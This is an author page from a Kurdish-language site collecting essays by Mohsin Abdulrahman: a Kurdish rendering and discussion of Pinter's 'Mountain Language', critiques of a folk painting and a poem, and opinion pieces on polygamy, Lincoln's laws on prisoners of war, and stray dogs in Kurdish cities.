NO IORG
Authors Posts by محسن عه‌بدولره‌حمان‮

محسن عه‌بدولره‌حمان‮

محسن عه‌بدولره‌حمان‮
38 POSTS 0 COMMENTS

1

محسن عەبدلڕەحمان

پشتی سێ‌ سالان ژ گه‌شتا خۆ ئه‌وا دگه‌ل هه‌ڤالێ‌ خۆ ئارسه‌ر میله‌ری ل سالا 1985ێ‌ بۆ تركی كری، ئه‌و گه‌شتا ب پشته‌ڤانییا رێكخراوا لێبۆرینا نێڤده‌وله‌تی و راسپاردن ژ كۆمه‌له‌یا جیهانی PEN كو كۆمه‌له‌یه‌كا جیهانییه‌، گرنگیێ‌ ب كاروبارێن هۆزانڤان ونڤێسه‌ر و شانۆڤان و رۆماننڤێسیان و ره‌خنه‌گران و رۆژمانه‌ڤانان دده‌ت، ژبۆ پشتراستبوونێ‌ ژ خرابه‌ ره‌وشا نڤێسه‌رێن ل تركی ژێ‌ دنالن، بنته‌ری ئه‌ڤ شانۆیه‌ بناڤێ (زمانێ‌ چیایی) نڤێسیبوو.
ل وی ده‌می بالیۆزخانه‌یا ئه‌مریكی ل ئاڤاهیێ‌ بالیۆزخانه‌یێ‌ ئاهه‌نگه‌ك ژبۆ نڤێسه‌ر ئارسه‌ر میله‌ر سازكر، و هارۆلد بنته‌ر هاته‌پێش بۆ گۆتنا په‌یڤه‌كێ‌ ده‌رباره‌ی ئازارێن نڤێسه‌ران و به‌رهنگارێن بۆچوونان ل تركی و ئه‌و هه‌می ره‌زیلكرنا مرۆڤینی و ئه‌شكه‌نجه‌یا جه‌سته‌یی یا د زیندانێن رژێما تركیڤه‌ تووش دبنێ‌، ئه‌و رژێما ژ لایێ‌ حوكمه‌تا ئه‌مریكیڤه‌ پشته‌ڤانی لێ‌ دهێته‌كرن، ئه‌و په‌یڤە یا نه‌چاڤه‌ڕێكری هنگافتنه‌كا مه‌زنبوو، بۆ كه‌ساتییا بالیۆزێ‌ ئه‌مریكی تاكو ئه‌و بالدای هارۆلد بنته‌ری ل پێش هه‌میان ژ ئاهه‌نگێ‌ بده‌رینیت، ل وێ‌ ده‌می ل پێش میله‌ری چ تشت نه‌بوو ژبلی هه‌ڤسزۆیێ‌ دگه‌ل هه‌ڤالێ‌ خۆ بنته‌ری، ئه‌وژی ده‌ركه‌ڤیت، و بنته‌ر لدور وێ‌ گه‌شتی په‌یڤه‌ و گۆت
(ئه‌وا من ل وێده‌رێ‌ دیتی ئارێشه‌یه‌كا راسته‌قینه‌یه‌ بوو، ئه‌وی ژ نێزیك زانی كو كوردێن تركی گه‌له‌ك ب ساناهی هه‌ما د بنه‌مادا هه‌ر بۆ وان نینه‌ كو هه‌بن، پاشی بۆ وان ده‌ستویری نینه‌ ب زمانێ‌ خۆیێ‌ دایك بپه‌یڤن).
سیرجنت: (ب تنگژین گۆته‌ ژنان) باش گۆهدارییا من بكه‌ن. زیندانیێن هووین هاتین سه‌ره‌دانا وان بكه‌ن، نزانم كوڕێن هه‌وه‌ یان مێرێن هه‌وه‌ یان بابێن هه‌وه‌ نه‌، ئه‌و دوژمنن، دوژمنێن حوكمه‌تێ‌. ئه‌و تنێ‌ گلێشن، ته‌ره‌سن، چه‌په‌لن، بێمه‌رێزن. تێگه‌هشتن؟
ئه‌فسه‌ر: (به‌ره‌ڤ ژنان هاته‌پێش)
: و نها باش ببهیسن. هوون چیاینه‌ و فه‌ره‌ بزانن ده‌ستویری بۆ هه‌وه‌ نینه‌ ل ڤێره‌ ب ڤی زمانێ‌ خۆ یێ‌… باخڤن، چنكو ئه‌و قه‌ده‌غه‌یه‌، تێگه‌هشتن؟ زمانێ‌ هه‌وه‌ یێ‌ مری، ژناڤچووی، قڕبووی، و نها قه‌ده‌غه‌یه‌، له‌ورا ده‌ستویری نینه‌ هوین پێ‌ دگه‌ل زه‌لامێن خۆ باخڤن، بئێكجاری نابیت نه‌ ل ڤێده‌رێ‌ و نه‌ ل وێده‌رێ‌ بكاربینن، چنكو ئه‌و زمانه‌كێ‌ ده‌رڤه‌ی قانونێ‌ یه‌، تێگه‌هشتن؟ زمانێ‌ ئێكانه‌یێ‌ ل ڤێده‌رێ‌ ده‌ستویردای تنێ‌ زمانێ‌ پایته‌ختی یه‌ و نابیت كه‌سه‌ك ب زمانه‌كێ‌ دی ب په‌یڤیت، و هه‌ر كه‌سێ‌ وێره‌كیێ‌ بده‌ت خۆ و ب زمانه‌كێ‌ دی بپه‌یڤیت، دێ سزایه‌كێ‌ دژوار وه‌رگریت، به‌لێ‌، ئه‌ڤێ‌ تێگه‌هشتن؟ ئه‌ڤه‌ بڕیاره‌كا له‌شكرییه‌. ئه‌و قانونه‌، دوباره‌دكه‌م و بۆ دووماهی جار، زمانێ‌ هه‌وه‌ یێ‌ قه‌ده‌غه‌یه‌، مرییه‌، نه‌مایه‌ و په‌یڤین پێ‌ ب ئێكجاری قه‌ده‌غه‌یه‌. بدووماهی هات.
بنته‌ر ژ خۆ و دبیت یێن دی ژی ڤان پڕسیاران دگه‌ت: ئه‌و چ تشته‌ ژ هه‌میان گرنگتر د گاڤا ترس و تیرۆرا بێسنۆر بكه‌ین؟ و ئه‌و چ تشته‌ مرۆڤی پالدده‌ت لڤێ‌ هه‌بوونێ‌ یێ‌ به‌رده‌وامبیت؟ و چاوا دشێین تا دویماهیێ‌ خۆراگرین؟ لێ‌، ده‌ستهه‌لاتا چه‌وسینه‌ر دشێت بساناهی هه‌ر تشتی ژ ته‌ بستینیت، دشێت تایبه‌تمه‌ندییا ته‌، روومه‌تا ته‌، خوارن و نۆشا ته‌… ده‌سته‌سه‌ركه‌ت، لێ‌ تشتێ‌ نه‌شێت ب قانونه‌كێ‌ دارێژیت و ئارسته‌كێ‌ بۆ دیاربكه‌ت هه‌ستێن ته‌نه‌، د ڤێ‌ شانۆیێ‌ دا زیندانییان تشتێن هه‌ره‌بلند و كویر هه‌نه‌، كو هاندده‌ن بۆ مانێ‌ و به‌رده‌وامیێ‌ د هه‌بوونێدا. تشته‌ك؛ كه‌سه‌ك یێ‌ هه‌ی ژ ده‌رڤه‌ی زیندانێن وان چاڤه‌ڕێی وانه‌، زارۆیه‌كێ‌ زیندانی نه‌دیتی نها چاڤه‌ڕێی وی یه‌، دایه‌ك هه‌یه‌ ئه‌و گه‌له‌ك حه‌زژێدكه‌ت و جڤاكه‌ك چاڤه‌ڕێی هاتنا ده‌م و ره‌وشه‌ك باشتره‌، ده‌مێ‌ پیرێ‌ ل كوڕێ‌ خۆ دنێریت بێده‌نگ دبێژیتێ‌: ده‌مێ‌ ڤه‌دگه‌ڕی مال دێ‌ ب تلیلییان هێیه‌ پێشوازیكرن. كوڕێ من هه‌می چاڤه‌ڕێی ته‌نه‌، هه‌می په‌رۆشی دیتنا ته‌نه‌. یان دانوستاندنا د ناڤبه‌را ژنێ و مێریدا. ئه‌ڤ كێلیك وه‌كو كولیكانه‌، كولیكێن گه‌له‌ك بچویك د زه‌ڤییه‌ك پیس دا شیندبن و وه‌رارێ‌ دكه‌ن، لێ‌ ئه‌و د هه‌بوونا خۆ یا راسته‌قینه‌ دا هه‌ره‌هیزداره‌.

ژێـدەر:ـ
شانۆگه‌رییه‌كا كورت ب ئێك پشك د چوار دیمه‌نان دا ژ: نڤێسینا: هارولد بنتەر، وەرگێڕان بۆ ئەرەبی: عەلی كامل، كوردیكرن: محسن عەبدلڕەحمان.
– په‌یڤین لگه‌ل ئانا فورد – گۆڤارا (المستمع) 27 ئوكتوبه‌را 1988ێ‌.
– مالپه‌رێ (ایلاف)یێ ئه‌لیكترونی‌ – له‌نده‌ن، ژماره‌ 7800 ل سێشه‌مبی 6 ی سپته‌ه‌مبه‌رێ 2006.

1

محسن عەبدولڕەحمان

رەخنە:
ب تەماشەکرنا ڤی کەڤالێ نەریتی و کەساتی سادە ژ شڤانێ ب جلکێن فولکلۆری و بزنان..، دشیاندایە بو چەندین خواندنگەهـ یان تەرزێن هۆنەری بهێتە ڤەگەڕاندن، لێ یا ژ هەمیان نێزیکتر: هۆنەرێ مللی – فولکلۆرییە (Folk Art)، کو «هۆنەرێ مللی زاراڤەکە بو هەمی کارێن بدەست دهێنە چێکرن دهێتە گۆتن، ژ وانا نیگار، داتاشین، ناڤمالی تا پیدڤیێن کەسی وەکو: پارزین، گورە، دەستبلین، شرۆخە و دۆخین…، پتریا کولتۆرێ مللی دەربڕینێ ژ ژیانا رۆژانەیە و ڤەگێڕانا چیرۆک و ئەفسانەیێن مللییە»(1).

هۆنەرێ مللی:
ژ ژیوارێ جڤاکی دەرڤەی ئەکادیمیبوونێ ل سەر دەستێ ئەوان هۆنەرمەندێن خۆ فێرکرین پەیدابوویە، لەورا رەنگڤەدانا گیانێ کومەکی ل شوینا هزرێن تاکێن ڤەدەر لێ دیارە، د گۆتارەکێدا بو رۆژنامەیا (Huffington Post – هافینتۆن پۆست)دا، ئەمیندارێن مۆزەخانەیان (ستیفانی نابی و کاترین فوتەر) بابەت شرۆڤەکرن ب گۆتنا: «د ژیواریدا بابەت گرێدای بەردەوامیدانێیە ب نەریتان و پاراستنا وان د دەمەکیدا گوهۆرینێن مەزن رووددەن، هۆنەرێن مللی جۆرە سەقامگێرییەک تێدا هەیە.. و رابووری دپارێزین:»
هۆنەرێ ئاشۆپی/ فانتازی (Dreamlike/Fantasy Art):
(سەقایێ مژەوی و چیایێن ب ئەوران داپۆشی، ژنا پرچ بەردای دگەل ژەنینا بلۆرێ بو بزنان ئەوان دەرڤەی دەمجهی دیاردکەت، کەڤال هایدانێ ب هەستەکا ئاشۆپی یان ئەفسانەیی ددەت، ئەڤ شێوازە پتر ژیواری ب ئاشۆپا فانتازی دشێلیت).

بۆهایێ هۆنەری و جوانناسی:
هەر کارەکێ هۆنەری ب هندەک پیڤەران بۆهایێ خۆیێ هۆنەری و جوانناسی هەیە،
د تەماشەکرنا ڤی کەڤالیدا ئەڤە دهێتە دیتن: سەقایەکێ ئارام و سێهربەند و ئەوران پشکا مەزن ژ دیمەنی ڤەگرتیە، کو هەست خۆش پەیداکرییە، هەروەسا رەنگ د ئارام و دەستنیشانکرینە، رەنگێن جۆنێ ڤەبی (قەهوائی) و گەور و سپی دزالن.. ئەڤ هەڤسەنگی و گۆنجاندنا رەنگان سەقایەکێ ئارام بو دیتنێ ئافراندییە،

هێماگەرییا کەڤالی:
دیمەنێ شڤانێ بلورژەن و کچا پرچ بەردای و بزنێن سپی د خوەزایەکا گەور و مژەویدا، کو ل پشت وان چیانە و ل هنداڤ تاکێن دارێن ب کولیکێن سۆر شۆربووینە، ئەگەر دار هێمایێ پێتبوون و گەشبوونێ بیت، بشکۆژێن سۆر هێمایێ دەربوونا کانییا دلداریێیە، هەموو تۆخم پیکڤە هایدانێ ب هەبوونا ئەفسانەکی ددەن، بلور ئالاڤێ مۆزیکێ ئاماژەیە بۆ ئێکبوون و هەڤتمامکرنێ د ناڤبەرا بانگا سرۆشتی – گیانێ هەلاتگەری – و مرۆڤیدا، دیسان بزنێن سپی دبیت هێمایێ پاکیێ بیت، ئەڤ هویرییە بینڕای ڤەخواندنا تەماشەڤانییە بۆ هزرکرن و ئاشۆپەکرنا ڤەگێڕانا چیرۆک و سەرهاتییەکێ د ناڤ کەڤالیدا(2).

تۆخمێن بینڕای:
بکارئینانا رەنگ و خیج و رۆناهیێ… درێژییا پرچا کچێ و بلورا شڤانێ لڤینەکا نەرم و شل ل دیمەنی زێدەدکەت، کەڤال تێکەلکرنە د ناڤبەرا هۆنەرێ فلکولوری و وێنەکرنا ئاشۆپی، پێگەهێ – وچعیە – کەساتییان هایدانی برەنگەکێ کارلێکی و تێهزرینێ ددەت، ئانکو کەڤال بیاڤێ هزرکرنی د چیرۆکێدا و راڤەکرنا رامانێن ڤەشارتی، هوسا زێدەباری بۆهایێ هزری ل بۆهایێ جوانناسی زێدەدبیت. کەڤالی بگشتی سەقایەکێ ئارامێ دلینی و ڤەگێڕانێ پیشاندایە.

رەخنە:
د رەخنەیا هەر کارەکێ هۆنەری یان وێژەییدا فەرە بابەتییانە ل ئالیێ ئەرێ و نەرێ و خالێن هێز و لاوازیێ بنێرین، سەرباری جوانناسییا کەڤالی، لێ ژ خالێن سست ژ ئالیێ هۆنەریڤە نەیا ڤالایە، کو د شیاندایە بهێنە چارە و راستڤەکرن، وەکو مژ پشکەکە ژ رووبەرێ هۆنەریێ کەڤالی، لێ هویریێن چیا ڤەشارتینە کو وەک سیبەر دیارن.
د پتریا کەڤالین نیگارکێشێن کورددا، گرنگیێ ب ناڤەرۆکێ و لایەنێ هزری ددەن، ل سەر حسابا لایەنێ هۆنەری وەکو نشتەرگەرییا مرۆڤی، د ڤی کەڤالیدا هویریێن دەستان (گرێجکێن تبلان ولڤینا ژەنینێ) و دێمێ کەسان (روی، دفن، ئەرزنک) ناهێنە دیتن، تاکو پرچێ بەردای وەکو کورز دیارە، دیسان چ زەمینە کو شڤان و بێری و بزن ل سەر راوەستن دیارنینن، دشیاندابوو سیبەرەکا سڤک دیاربکەت بێی دیمەن خوەزایا ئاشۆپێ ژدەستبدەت(3).

رەنگ:
هەڤسەنگییا رەنگان هێزێ ددەت کەڤالی، لێ خۆلیکی و گەور ب ئێک رەنگی دیاردکەت و ئەڤە راکێشانا چاڤی کێمدکەت! ژبلی کەپەنێ شڤانی د شیاندابوو رەنگان ل جلکێن کچێ و موویێ بزنان ژی زێدەبکەت. لێ ئەڤا ئەزێ بینەر ب رەخنە دبینم، دبیت نیگارکێشێ ب زانابوون کربیت و، ئەوا ئەز دبینم لاوازی کەسەکێ دی ب خالا هێزێ و ژ هەڤگرێکا – سیاق – شێوازێ فولکلۆری ببینیت.
ژ چەند ئەگەران کەڤالی کارتێکرنا دەروونی و بهایەکێ بیردانکی بۆ بینەرێ سەر ب جڤاکی شڤانڤە هەیە، وەکو پەیوەندیا رەوشەنبیری کو رەنگڤەدانا ژیان و چیرۆکێن وان یێن کولتورییە، هەروەسا خەریبی و پەرۆشی بو سەردەمێ سادەیێ و ڤەگەڕیانە بو سرۆشتی، د بیردانکا کومەکیدا کەڤال سەربۆرەکا هەستەوری و دلینییە، بیردانکا بینەری هانددەت و کاریگەرییەکا نەهێتە ژبیرکرن لدەڤ دروستدکەت.

ناسنامە:
بو دەستنیشانکرنا ژیێاتی و ناسنامەیا کەڤالی هەر ژ ئاڤریا ئێکی بشێوەیەک ڤەبڕی ناسنامە دیاردبیت، وەکو جەمەدانی و کەپەنێ شڤانی، دیسان بزن بشێوەیەکێ بەرفرەهـ ل دەڤەرێن چیایی یێن ب مژ و ب ئەور دهێتە بخودانکرن،
(1) (https://www.nationalgalleries.org/art-and-artists/glossary-terms/folk-ar)
(2) د. نائله‌ المنیر المحمودی، مدلول الدلالات الرمزیه‌ فی اللوحه‌ التشكیلیه‌، مجله‌ اڵاكادیمیه‌ للعلوم اإلنسانیه‌ والاجتماعیه‌، عدد 23- دیسمبر 2022، ص338- https://mhs.academy.edu.ly/ar/j.
(3) سعید درویش – ا. د. عبدالله السید- د. محمد محفل، الرمز والرمزیه‌ قی الفن التشكیلی، مجله‌ جامعه‌ دمشق ااعلوكم الهندسیه‌ المجلد التاسع والعشرون- العدد الاول-2013. ص509 – 670.

1

محسن عەبدولڕەحمان

* ناڤونیشان:
دەستەواژەیا (بەختێ بێ رەنگ) وەک ناڤونیشانێ هەلبەستێ ژ پەیڤێن سادە و بهێز پێکهاتییە، د هەمان دەمدا هەلگرێ جوانناسی و هێماگەری و پرسیاریێیە، ئەرێ ما بەختی ژی رەنگێن جودا هەنە؟ ئەو ناڤونیشانەکێ چەندێ کورت و تیرە، هندیێ بالکێشە و ئازرێنەرە، دیسان کۆمکەرێ دو پەیڤێن هەڤدژە، بۆ پێکئینان گونجاندنەک جوان ئەوژی/ بەخت و رەنگ/، کو یەکخستنا /بەخت/ دگەل /بێ رەنگ/ هەڤۆکەکا نەیا کەهییە، لەورا ناوازەیی ورەسەناتیەک دایێ، هەروەسا رۆهنی و شێلیبوونەک هەڤسەنگ ب ناڤونیشانی بەخشییە، کو بابەت لدور بەختییە لێ یێ شێلییە، لەو وەرگر دەربارەی بێ رەنگیێ دبپڕسیت.

* هێماگەری:
هێزا ناڤونیشانی د کویراتییا هێماگەرییا وێدایە، کو خواندەڤانی پالددەت نقومبوونێ د دەقیدا بۆ ڤەدیتنا مەبەستا ڤەشارتی ژ ڤێ دەربڕینێ، چنکو بابەتێن گیانی و دلینی ب رەنگ و سەرڤە ناهێنە پیڤان و هەڤبەرکرن، ئەوا ئاسۆیەکێ بەرفرەهێ بۆ راڤەکرنێ ڤەکری، چنکو بیاڤێ پتر ژ خواندنەکێ تێدایە، ئەو ئاماژەبیت بۆ نەبوون یان بەختێ لاواز و بێکارتێکرن ل سەر ژیانا هەلبەستڤانێ، یان ئاماژەبیت بۆ رەشبینیێ کو هەلبەستڤانێ هیڤی نەمایە کو بەخت ژیانا وێ رەنگین بکەت، هەروەسا دبیت ئاماژەبیت کو بەختی چ رەنگ یان کارتێکرنە راستەقینە ل سەر ئاراستە و رێرەو ژیانێ بگشتی نینە.

* راڤەکرن:
لپەی خواندنا من بۆ ڤێ هەلبەستێ.. ئەوە هەلبەستڤان د ململانەکا دەروونییا کووردایە، دەق» دەربڕینێ ژ تنگژین و هەستێن نڤیسکاری دکەت، د گاڤەکا دیارکری دا…»(1) د ناڤبەرا دیتن و حەزکرن و ئەو راستیێن ب ئێشێن رووبروو دبیت، جوانناسییا هەلبەستێ د شیانا دەربڕینێدا د هوندری وێنەیێن هۆزانکیێن هەڤدژ دیاردبیت، لەو دێ بزاڤێ کەم هندەک ئالیێن جوانناسییا هەلبەستێ بەرچاڤکەم:

* وێنەیێن هەڤدژ:
هەڤدژی تەکنیکەکا وێژەییە، تێدا پەیڤ و رستەیێن هەلگرێن ئاماژەیێن هەڤدژ ددەن بکاردئینیت، بۆ بهێزکرنا رامانێ و کارتێکرنێ ل سەر وەرگری، «هەڤدژی د گۆتن و رامانێدا دولایەنییا زمانڤانییەکا یەکتربڕە، جوداهییەک دیار د تەرزیدا هەیە، د جیاوازییا خۆدا داهێنان و جوانناسیێ بەرچاڤدکەت»(2).
هەڤدژییا وێنەیێن دوبارەکری کاکلا جوانناسییا هەلبەستێیە، هەلبەستڤانێ دوئالییا هەڤدژییا هیڤی و ژیواری (د ناڤ چاڤێن تەدا/ عشقەکا خەیالی دبینم) و ئاشۆپە و هیڤی د بەرانبەردا(لێ د ناڤ دەستێن تەدا/ بڤرەکێ ئاسنی دبینم) دژوارییا ژیواری ئافراندییە، دیسان د(ب پەیڤێن تە هەست/ب ئەڤینەکا بێسنوور دکەم) ساوێرا – وەهم – سۆزدانێ بەرانبەر (لێ د نەهاتنا تەدا/ هەست ب بێ وەفایێ دکەم) بێ ئەمەکی و دلشکەستنێیە.

* دەربڕین:
سەرباری وێنەیان لێ هەر زمانێ هەلبەستێ یێ سادە و راستەوخۆیە، ئەڤە تێگەهشتنا هەلبەستێ بساناهێ دئێخیت و ژ هەر ئالۆزییەکێ دووردکەت، ئەڤە دلینیێ لدەڤ وەرگری پەیدادکەت، لێ ل داویێ هەلبەست ب جۆتەک پڕسیارێن بئێش کو رەنگڤەدانا رەوشا تەنگەزاری و بەرزەبوونێیە یا هەلبەستڤان دەربازدکەت وەکو: (ئاخ بۆ بەختێ من یێ بێ رەنگ/ نە رەشە نە سپی) و (ئاخ بۆ گیانێ من یێ بێ جان/ نە ساخە و نە مری) ئەڤ هەڤۆکە رەهندەکا فەلسەفی ل سەربۆرا هەلبەستڤانێ زێدەدکەت.
سەربارێ دیارکرنا خالێن جوانناسیێ و ئالیێن رەوانبێژیێ، لێ بدیتنا هەر دەق بێ تێبینی و کێماسی دەربازنەبوویە، وەکو دوبارەکرنا هندەک پەیڤان/د ناڤ، دبینم، تەدا…/ جۆرە سستییەک ئێخستییە تەڤنێ هەلبەستێ، ئەڤ دوبارەکرنە ڤان برگەیان برەنگەکێ تەرزکی – نمطیە – دیاردکەن، لەورا ئەو کارتێکرنا جارا ئێکی ل جارا دویێ نامینیت. دیسان بێژەیا(بڤرەکێ ئاسنی) تمامکەر و هەڤدژا (عشقەکا خەیالی) یە، ئەو نەیا رۆهنە کا مەبەست پێ دژواری یان خیانەتە، کارتێکرنا بفری هەنبەر عەشقێ لاوازکەت، هەروەسا(شەڤا سار/ گەرم) و (رۆژ/ دگەڕم) د دویڤدا (بەختێ من یێ بێ رەنگ/ ئاخ بۆ گیانێ من یێ بێ جان) ئەڤ هەڤدژی و ڤەگوهاستنا بلەز د ناڤبەرا گۆتن و کریاریاندا نەرمییا پێکڤەگرێدانێ خاڤکرییە،

داوی:
د پۆختەیێدا (رەنگ/گیان) د ناڤبەرا واندا رەوشەک ئالۆز و نەسەقامگیرە، ئەو خۆ ونداکرنە د (بێ رەنگ/ بێ جان) دا، لێ هەلبەستڤان د ڤان وێنەیێن هەڤدژدا ب زیرەکی و رەوانی، شیایە دلینییەک بهێز بگەهینیت وەرگری و درەبڕینێ ژ ململانەک ب ئێش بکەت.
ژێدەر:
(1) ئازاد دارتاش، پرسگرێکێن هەڤگەهشتنێ، 2023، بپ43.
(2) قادرە غیثا‌و، الثنائیات الچدیە وأبعادها فی نصوص المعلقات، مجلە دراسات فی اللغە العربیە و ‌ادابها، جامعە تشرین، سوریا، العدد (10-11)، 2012، ص25.

 

3

محسن عەبدولرەحمان

هەوی ئەو ژنە یا ب سەر ژنەكێ دهێت! ئانكو هەڤپشكییا دوو ژنان د ژیانا مێرەكیدایە، راستە ئەو هەستەك هەرە نەخۆشە، كریاڕەك ناپەسەندە! لێ جاران (ژ نەچاری مرۆڤێ كوشتێ كەوی دخۆت) جاران ژ بەترانێ پێهنەكێ ل فەلەكا خۆ ددەت و خۆشی و ئارامییا مالا خۆ تێكددەت، ب تایبەت ئەگەر زارۆك د ناڤبەرا ژن و مێریدا هەبن.
لەو پرسیار ئەڤەیە، بۆچی هندەك مێر هەنە ژنەكێ ب سەر ژنا خۆ دئینیت؟ دا وەكو عیسێ دەلا گۆتییە میرێ بەهدینان (هێك سۆر یان زەربیت هەر هێكە و ئێك تامە) ڤێچا هەكە هەمی ژن وەكو ئێكبن، ڤێچا بۆچی مێر ب ئینانا ژنا دویێ ژیانا خۆ تێكددەت؟ چنكو هەڤپشكی هەر چاوابیت یا نەخۆش و پڕ ئارێشە و سەرگێژییە، ڤێچا بۆچی مێر وەسا دكەت، ب تایبەت ئەگەر هەڤژینا وی یا ب زارۆك بیت و رەوشا ئابووری یا ناوەندی بیت، پشتی چەندین رەوش من دیتین و بهیستین، گەهشتمە وێ باوەریێ كو ژنا دویێ هەر وەكو خوارنا گوشتێ كەوییە! ئەوژی ل پشت هەر زەلامەكێ چاڤلدەر ژنەك خەمسار هەیە و ل پشت هەر ژنەك خاین زلامەك بێهەست هەیە، ئانكو خیانەتا هەڤژینیێ یان ئینانا ژنا دویێ ب سەر هەوی یا بێ ئەگەر نینە! كێم جاران ئێك ژ هەڤژینان گەرمییا گۆهنێلیێ هەمبەر یێ دی ساربوونا گۆهنێلی هەیە، ئەڤە رەوشەكە كێم و دەگمەنە، ئانكو ئەگەرێن دی هەنە ساربوونا پەیوەندیێ د ناڤبەرا هەڤژینان پەیدادكەت.
بهزرا من خەمسارییا بچویك ئاریشەیێن ژ هەمیان مەزنترە چێدكەن، چنكو هەر ئاریشەك هاتە پشتگۆهـ ئێخستن ژ بچویكیێ دێ دگەل دەمی كەلەكەبیت و مەزن بیت، چنكو شەواتێن هەر مەزن ژ چریسكێن بچویك دەستپێدكەن، خەمسارییا هەڤژینان بۆ ئێكدو دەستپێكە تاكو دگەهیتە راددەكێ پێكڤەژیان ئەستەم دبیت.
فەرە هەڤژین بزانن، ئەگەر ژن بۆنەوەرەك نازك بیت پێدڤی نازداركرنا زەلامی بیت، زەلام ژی ب هەمان پیڤەر، دبیت پتر زارۆكەكێ مەزنە پێدڤی چاڤدانا ژنێ یە، بابتەتێ هەڤژینیێ ژ پەیوەندییا گۆهنێلیێ مەزنترە، دا ژیانا هەڤژینیێ ب خۆشی دەربازبیت، دبێژم ئەو هەست ب هەبوون و چاڤدان و دلینی و رێزكرتن… لێكگۆهارتییە.

2

محسن عەبدلڕەحمان

شەڕ و كوشتن ب خۆ كریارەكە دڕندەییا مرۆڤی دسەلمینیت، ڤێچا هەكە كوشتن دژی دیلێن شەڕی و خەلكێ سڤیل بیت! ئارێشە ئەوە گیانەوەرێن گوشتخۆر تا برسی نەبیت، كوشتنێ ناكەت، لێ مرۆڤ بەروڤاژی دەمێ تێربوو ژنوی حەزا وی بۆ خوینرژتنێ دئازریت! ئەڤە رەوشا جڤاكا مرۆڤی بوویە تاكو مرۆڤێ مەزن دیاربووی، ئەڤ مرۆڤە مەزنییا وی بۆ دوو بڕیاران ڤەدگەریت، كو ل داویێ سەرا وان بڕیاران ل 14 نیسانا 1965 گیانێ خۆ بەخشی دەمێ هاتییە تیرۆركرن، ئەڤ مرۆڤێ مەزن نەپێخەمەر یان فەیلەسۆفە، ئەو سەرۆكێ ژمارە شازدەیە یێ وەلاتێ ئەمریكا، ئەوژی (براهام لنكۆلن)ە.
سەركردەیێن مەزن ب هشمەندی و دویربینی بڕیارێن وێرەك و ڤەبڕ ددەن، كو نەتنێ ب بۆرینا چەرخان دمینن، بەلكو دبنە وەرچەرخان د مێژوویا مرۆڤینیێ دا، ئەڤ هەردوو بڕیارێن سەرۆكێ ئەمریكا ئەڤەنە:
بریارا ئێكێ:
هەلوەشاندنا سیستەمێ بەنەدەیێ – العبودیە – ئەوژی ب قەدەغەكرن و ب تاوان نیاسینا بەندەیێ، كو ئەڤە وەرچەرخانا هەرە گرنكبوو د ژیانا مرۆڤاندا رویدای، لێ بڕیارا ژ وێ نە كێمتر كو بابەتێ مە رۆژەڤێیە، كو نها جیهان و بتایبەت جڤاكێن مە ژێ دنالن، ئەوژی دوبارە زیندیكرنا كرێتییا بەندەییا ژنان، دیسان كوشتنا دیلین شەڕی، چنكو ڤان سالان بتایبەت پشتی دەركەفتنا هشكباوەرێن ئیسلامی ب ناڤێن جودا و كوشتن و سەرژێكرنا پێشمەرگە هوجام سوروجی و سۆتنا فرۆكڤانێ ئوردونی مەعاز كەساسبە، وەكو نموونە، بیرا مە ل قانوونا (لیبر) ئەوا ل 24ی ئەبریلا 1863ێ ب قانوونا ژمارە 100 ژ نڤێسینگەها فەرماندێ گشتی ل سەر داخوازا سەرۆكێ ئەمریكی (ئەبراهام لینكولن)ی دەرچووی، كو قانوونەك نوی بۆشەڕی ب مەبەستا پاراستنا دیلێن شەڕی و سڤیلان دارشتییە، لدویڤ ڤێ قانوونێ ئێكەم دادگەهـێن ل دۆر تاوانێن شەڕی د مێژوویێ دا هاتنە چەسپاندن، ل پەی قانوونا نوی بۆ جارت ئێكێ‌ د مێژوویا مرۆڤینیێ دا، ب قانوون هژمارەكا ئەفسەرێن كۆنفدرالی بەر ب دادگەهێن لەشكری هاتنە هاژۆتن، ب تاوانا ئەنجامدانا تاوانێن شەڕی و كوشتنا سەربازێن دیل ل سەربازگەهێن دیلین ژ باكۆرێ ئەمریكا، كو هاتبوونە گولـلەبارانكرن.
بەری 163سالان ب قانوون ئەمریكا ئەفسەرێن ب كوشتنا دیلان تاوانبار دادگەهـ دكەت، لێ نها ب دەنگ و رەنگ خەلكەكی دبینین شانازیێ ب بەندەكرنا ژنان و كوستنا دیل و خەلكێ سڤیل دبەن، رویدانێن دەڤەرێن عەلەویان ل سووریێ نموونەك زیندییە!

9

ڤان رۆژان نۆچەیێ خوارنا رەڤدەكا سەیێن بێخودان و بەرەللا ل كەركووكێ بۆ زارۆیەكێ نەه سالی بەلاڤبوو، ل هەولێر جاران گازندەیێن وەلاتییان ژ هێرشا سەیێن بێخودان دهێنە بەلاڤكرن، ل ڤان رۆژێن بۆری ڤیدیۆیا تووشبوونا خویندكارەكا بەشێ ناڤخۆ ل ناڤ زانكۆیا دهۆكێ بەلاڤبوو، بەری وێ ل ئۆڤەرباسێ بێسرێ سەیەكی باقا زەلامەكی لەقدایە! هەبوونا ڤان رەڤدەیێن سەیان ب تایبەت ب شەڤ تا بەرێ سپێدێ ل ناڤ تاخ و كولانێن باژێری ب كەیفا خۆ دچەورن! و گازندێن وەلاتییان بەردەوامن!
ل كوردستانی سەگ زێرەڤانێن پەزی و ل گوندان پاسەوانێن ب خودانبوون، گەلەك جاران سەرا سەیەكی ئاریشە د ناڤبەرا گوندییان دا چێدبوون، لێ پشتی كورد بووینە مووچەخور و پتریا گوندان بەرداین، دا چەند مالەكێن ئەرەبان پەزی ل كوردستانێ ب خودان بكەن، ئێدی سەگ مانە بێخودان و ئەو گرنگی ژ دەستا، لەورا ل رەخێن باژێری دیاربوون و نها شێوەیێ رەڤدان ل كولانان و هەر جهی تا ناڤەندا باژێری دبەلاڤن، پترییا وان ژ برسێ ل تەنەكێن كلێشی كۆم دبن، دگەل وەختی زڤستانێ كو دێهل ل با دبیت دا پاشی بتركن و هژمارا وان هەر زێدەبیت، د ڤی دەمیدا هێرشی مرۆڤان دكەن كو د ناڤدا سەیێن هار هەنە، ئانكو لەقدانا وان یا ژەهراوییە ئەگەر زوی و ب شێوەیەكێ نۆژداریێ دروست و رێكخستی نەهێتە چارەسەركرن، دێ زیانێن ساخلەمی لدویڤ خۆ هێلیت، كە دگەهیتە مرنێ، ئەوژی ب دانانا پێنچ دەرزییان یێن دژە هاربوونێ!
